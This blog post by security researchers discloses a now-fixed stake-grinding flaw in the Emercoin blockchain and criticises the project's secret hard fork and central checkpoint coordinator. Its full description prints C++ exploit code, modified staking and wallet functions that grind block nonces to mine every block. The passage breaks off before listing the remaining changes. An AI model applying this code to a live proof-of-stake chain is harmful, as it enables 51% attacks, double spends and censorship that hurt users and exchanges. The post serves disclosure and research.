Welcome back. Last time we've talked about Particl. Since then there has been good news coming from Particl. The bugs were fixed and they are allegedly considering creating a proper bug bounty program. And we have published a post about how should a proper bug bounty program look like from a bug hunter's perspective. Particl also donated to our address some extra coins, so thanks for that. We will make good use of it.

For the first time today, we publish vulnerability that is already fixed by now. We will do that more and more often in the future as we are working together with different vendors. However, this report is special as we not only describe the vulnerability itself, but we also cover the interesting story around the process of fixing this bug. Hope you will enjoy it.

Today, we explore Emercoin. The title of this project's homepage is (at the time of writing) "Official website of Emercoin blockchain platform. Decentralized solutions for business". We demonstrate today that the second part that mentions decentralisation should be removed because this project is, at least on the technical level, one of the most centralised in the industry. We also demonstrate that a trivial mistake in a code can cause a chain to be completely insecure even if it is highly centralized.

By the time of writing, we have already privately disclosed multiple vulnerabilities in Emercoin to its development team and we still have good candidates for more bugs. As mentioned, the vulnerability we are presenting today is already fixed in the latest version. The following description of the bug has not been provided in full, but the basic description of the possible impact that we provided to the development team was enough for them to identify the issue and fix it.

You may have noticed recently that if you attempted to deposit your EMC coins to HitBTC exchange, it didn't work as it used to. It looked like HitBTC deposits for EMC required 1000 confirmations, which is several days to complete. We are sorry for inconvenience if you were affected. Here is a picture of how it looked like:

The picture was taken on the 19th June. Notice the oldest waiting deposit is dated 13th June. What was going on?

Proof of Knowledge

Let's start by a proof of knowledge. After the vulnerability was fixed in the public repository, anyone could claim they discovered it before it was fixed. But only we can prove such a claim. We do that with the help of OpenTimestamps. Our timestamp data is the following string:

art_of_bug - Emercoin - Stake grinding is possible because the proof of stake hash includes the hash of the previous block. This results in very cheap 51% attack.

The OTS file proving our knowledge converted to hex looks as follows:

004f70656e54696d657374616d7073000050726f6f6600bf89e2e884e892940108d74dc3d05f34992da340e02c5c466552197164d66d22e35dfc539222770a362af01092e9193fa0ef5115e961a421cc2e6aa908fff01048dd1b13974b0c8d90e7d603bf02943308f1045cdec420f008144fbc770a86a3db0083dfe30d2ef90c8e2e2d68747470733a2f2f616c6963652e6274632e63616c656e6461722e6f70656e74696d657374616d70732e6f7267fff010bfb18f68ce3c4b43d48acd5c379e5d4408f0208841c4f8c53eae41d7b29d27ba7d4bdd17dee4ed728189c0c7d368ad277b705e08f1045cdec420f0080231b6c65e5e58880083dfe30d2ef90c8e2c2b68747470733a2f2f626f622e6274632e63616c656e6461722e6f70656e74696d657374616d70732e6f7267f01033fde9e837d48befa836f3d2e4cbf60108f010cf43cdbb8f4beca8258ae47d22b124b508f1045cdec420f0089a0f74680947d3720083dfe30d2ef90c8e292868747470733a2f2f66696e6e65792e63616c656e6461722e657465726e69747977616c6c2e636f6d

If you run OpenTimestamps client correctly, you should see something like this:

This proves that we created the record on 17th May 2019, well before the fix was implemented.

As our timestamped information reveals, the bug was pretty obvious, but let's still do it properly with full description. You can find it at the end of the article below.

Existence

We can observe from the code that the bug was present in Emercoin from 17th March 2017 (UNIX timestamp 1489782503) to 18th June 2019 (timestamp 1560816000). More than two years. Anyone could just come and do whatever they want with this coin including reorganizations of 100 blocks, double spends, raising difficulty to arbitrary number etc.

The bug was fixed in the public release version 0.7.7.

However, this release has not been presented as such. As you can see in the description of the release, it should have included only a fix of another bug that we disclosed privately to the Emercoin team and some minor improvements. We will cover that other bug in one of our future posts. As you can see, version 0.7.7 has been marked as a mandatory update. This is because it contained a secret hard fork code which was activated on 18th June.

Closed Source Release

If we look at the line of code that introduced the bug we can clearly see that the code marked with version 0.7.7 tag still contains the old version. How is that possible? It is because the source code that was claimed to be the source code of version 0.7.7 was in fact different code from what was used to compile the binary that people were supposed to update to.

In the fear of having the blockchain facing a destructive 51% attack, Emercoin developers decided to violate one of the fundamental principles of crypto development – having the code fully open sourced. The developers probably feared that if they included the fix in public repository, someone could notice that and exploited it before the hard fork activated. We think that the attack was unlikely as anyone who would check the code in the last two years would see that immediately without need for a hint from the fix.

This had several consequences. One of them being that everyone who upgraded their node from the source code instead of binaries upgraded to an incompatible version which would later be banned from the network. This is pretty serious problem and not just a theoretical one. It actually happened on the network and we've seen many nodes on the same block way below the tip, likely on an incompatible (the original) chain.

So, how do we know that the hard fork was introduced in version 0.7.7 and not in version 0.7.9, which is the first one with the new code in the repository? You can make several things to prove that. One is that you can try running version 0.7.6 and see that it's not compatible with the network:

This proves that the fix was not there earlier. Then you would try to run version 0.7.7 and see that everything works. Another clue is that if you check the release page for version 0.7.9 you can see that this version was not considered as a mandatory update. Because it was not mandatory. It just fixed another bug that we reported. If the hard fork was introduced in this version, there would also not be enough time for users to upgrade because this version was released on 18th June.

The final proof is by analysing the binaries of versions 0.7.6 and 0.7.7 and higher. For some reason, binaries of versions 0.7.6 are no longer available, but we have a copy, so we can analyse it. All versions from 0.7.7 up contains the following assembly code, but version 0.7.6 doesn't:

This is the compiled version of IsProtocolV05 function. This clearly proves that the hard work code was introduced in version 0.7.7.

Central Coordinator

So far we've seen a hidden hard fork to fix a critical bug in closed source binary release. But it is even better than that. Emercoin implements a central coordinator which distributes signed trusted checkpoints in order to prevent long reorganisations of the chain. We can see this in multiple places in the code, for example at the end of ProcessNewBlock. By default, the coordinator code is setup to distribute checkpoints for blocks which are more than 850 blocks behind the tip:

static int32_t s_depth = -1;

static uint32_t s_slots, s_node_no;

if (s_depth < 0)

{

s_depth = GetArg("-checkpointdepth", 174 * 5); // default is 5 days backward deep

s_slots = GetArg("-checkpointslots", 1); // quantity of check slots, def=1

s_node_no = GetArg("-checkpointnode", 0); // Number of current slot, def=0

}



In reality, however, before the incident, the coordinator that was actually used for the mainnet was set up to something around 150 blocks back. After the release of 0.7.7 fix, another coordinator joined the network and distributed trusted checkpoints with the total depth of just 2. At the time of writing, it has been relaxed to the depth of 4:







This means that any fork (natural or not) deeper than 2 (now 4) blocks would not be accepted by the network because of the checkpoint. So for example, let's say a small part of the network was disconnected from the rest of the network (due to Internet connectivity problems for example) and the coordinator was inside of this part together with some miners powerful enough to mine 3 blocks before the network would become connected again. Then when they reconnected, the rest of the network with the majority of the staking power would have to discard their chain and go back on the chain that the coordinator prescribed even if they were miles ahead of this small part.

But of course much greater problem would be if the coordinator machine was hacked. It could again control the whole network. Such a single point of failure is exactly what decentralised systems are trying to avoid.



Notably, even with the coordinator configured to distribute checkpoints with depth 2, the attacker still could do a lot with the network. The only thing that was eliminated was the attacker's ability to produce large reorganisations. But it could completely disable the chain, for example by increasing the difficulty extremely, or they could just stay in charge and produce every block on the network and censor any transaction they wanted.

Full Description

Note that the following report has been written before the bug was fixed.

Bug type: 51% attack, stake grinding

Severity: 8/10

Scenario 1

Attacker cost: very low

Having tiny amount of coins (500 USD worth is enough), an attacker can perform 51% attack against the network and mine every block on the chain. This allows the attacker to double spend as well as censor transactions. The higher the amount of coins the attacker has, the faster the attack can be performed, but even with very small amount, the attack is viable if the attacker is patient enough.

Description

Stake grinding is possible because of the following code in kernel.cpp:

ss << nTimeBlockFrom << nTxPrevOffset << txPrev->nTime << prevout.n << nTimeTx;



if (nTimeTx >= 1489782503) // block 219831

ss << pindexPrev->GetBlockHash();



hashProofOfStake = Hash(ss.begin(), ss.end());

Inclusion of the previous block hash in proof of stake hash allows the attacker to iterate the nonce in the block header in order to guarantee that the attacker can create the next block. The attacker thus only needs to create a single valid block, for which they need a small amount of coins in a single UTXO, which meets the minimum stake age requirement. When the staking algorithm succeeds to create a new valid block, the attacker does not publish the block immediately, but they iterate the nonce of the block while checking if they can create the next block with another UTXO they own. Once a correct nonce is found, the attacker publishes the block. Then the attacker attempts to create the next block, which they know it will succeed immediately. The attacker repeats the procedure with this new block again. Instead of publishing immediately, they iterate its nonce until they find such a block hash with which it is again guaranteed that one of their remaining coins can be used to create the next block. The attacker can repeat this process over and over again and produce a valid chain of blocks of any length as long as they have unused UTXOs that can be used in coinstake transactions as kernels – i.e. they are old enough.

We have successfully exploited this bug in our private network setup. The main code of our exploit implementation follows.

This part of the code replaces part of the original staking code inside of PoSMiner function:

IncrementExtraNonce(pblock, pindexPrev, nExtraNonce);

blockCounter++;



// ppcoin: if proof-of-stake block found then process block

if (pblock->IsProofOfStake())

{

{

LOCK2(cs_main, pwallet->cs_wallet);



if (pwallet->FindNonce(*pwallet, pblock, blockCounter)) {

if (!SignBlock(*pblock, *pwallet))

{

continue;

}

} else {

continue;

}

}

ProcessBlockFound(pblock, Params());

}

The following two methods were added to wallet.cpp:

bool CWallet::FindNonceInternal(

std::unordered_map<std::string, std::pair<CBlockHeader*, unsigned int>> myCache,

CBlockIndex *pindexPrev,

const CKeyStore& keystore,

unsigned int nBits,

uint32_t coinstakeTimestamp,

COutPoint alreadyUsed,

set<pair<const CWalletTx*,unsigned int>> setCoins,

COutPoint& myOutpoint

)

{

for (const auto& pcoin : setCoins)

{

myOutpoint = COutPoint(pcoin.first->GetHash(), pcoin.second);



if (alreadyUsed == myOutpoint) {

continue;

}



uint256 tx_hash = pcoin.first->GetHash();

auto search = myCache.find(tx_hash.ToString());



if (search == myCache.end()) {

return false;

}



CBlockHeader& header = *(search->second.first);

unsigned int offset = search->second.second;



if (header.GetBlockTime() + Params().GetConsensus().nStakeMinAge > coinstakeTimestamp) {

continue; // only count coins meeting min age requirement

}



// Search backward in time from the given txNew timestamp

// Search nSearchInterval seconds back up to nMaxStakeSearchInterval

uint256 hashProofOfStake = uint256();



bool ret = CheckStakeKernelHash(nBits, pindexPrev, header, offset, pcoin.first->tx, myOutpoint, coinstakeTimestamp, hashProofOfStake);



if (ret) {

return ret;

}

}



return false;

}



bool CWallet::FindNonce(const CKeyStore& keystore, CBlock* pblock, int blockCounter) {



set<pair<const CWalletTx*,unsigned int> > setCoins;

CAmount nValueIn = 0;

std::vector<COutput> vAvailableCoins;



AvailableCoins(vAvailableCoins, true, nullptr, false, pblock->nTime);



if (!SelectCoins(vAvailableCoins, GetBalance(), setCoins, nValueIn))

return error("FindNonce(): SelectCoins() failed");

if (setCoins.empty())

return error("FindNonce(): setCoins is empty");



CBlockIndex* pindexNew = new CBlockIndex(*pblock);



pindexNew->pprev = mapBlockIndex[pblock->hashPrevBlock];

pindexNew->nHeight = pindexNew->pprev->nHeight + 1;

pindexNew->BuildSkip();

pindexNew->phashBlock = new uint256(pblock->GetHash());

pindexNew->SetProofOfStake();



// ppcoin: compute stake entropy bit for stake modifier

unsigned int nEntropyBit = pblock->GetStakeEntropyBit(pindexNew->nHeight);



// ppcoin: compute stake modifier

uint64_t nStakeModifier = 0;

bool fGeneratedStakeModifier = false;

if (!ComputeNextStakeModifier(pindexNew, nStakeModifier, fGeneratedStakeModifier)) {

return error("FindNonce(): ComputeNextStakeModifier() failed");

}



pindexNew->prevoutStake = pblock->vtx[1]->vin[0].prevout;

pindexNew->nStakeTime = pblock->vtx[1]->nTime;



if (!pindexNew->SetStakeEntropyBit(nEntropyBit))

return error("FindNonce(): SetStakeEntropyBit() failed");



pindexNew->SetStakeModifier(nStakeModifier, fGeneratedStakeModifier);



uint32_t nBits = GetNextTargetRequired(pindexNew, true, Params(CBaseChainParams::MAIN).GetConsensus());



std::unordered_map<std::string, std::pair<CBlockHeader*, unsigned int>> myCache;



for (const auto& pcoin : setCoins)

{

uint256 tx_hash = pcoin.first->GetHash();



CDiskTxPos postx;

CBlockHeader *cbh = nullptr; // default=Error

if(pblocktree->ReadTxIndex(tx_hash, postx)) {

// Read block header

CAutoFile file(OpenBlockFile(postx, true), SER_DISK, CLIENT_VERSION);

cbh = new CBlockHeader;

try {

file >> *cbh;

} catch (std::exception &e) {

delete cbh;

cbh = (CBlockHeader *)0x1; // Error

}

} // ReadTxIndex()



unsigned int offset = postx.nTxOffset + CBlockHeader::NORMAL_SERIALIZE_SIZE;



myCache.insert(

std::make_pair(

tx_hash.ToString(),

std::make_pair(cbh, offset)

)

);

}



while (true) {

pblock->nNonce++;

delete pindexNew->phashBlock;

pindexNew->phashBlock = new uint256(pblock->GetHash());



uint32_t t;

if (blockCounter < 30) {

t = pblock->nTime + 1;

} else {

t = pblock->nTime + Params().GetConsensus().nStakeTargetSpacing;

}



COutPoint myOutpoint;

bool ret = FindNonceInternal(myCache, pindexNew, keystore, nBits, t, pindexNew->prevoutStake, setCoins, myOutpoint);



if (ret) {

aob_isInitialized = true;

aob_preferedOutPoint.hash = myOutpoint.hash;

aob_preferedOutPoint.n = myOutpoint.n;

aob_preferedTime = t;

return true;

}

}

}





Additional changes that we made to the code include: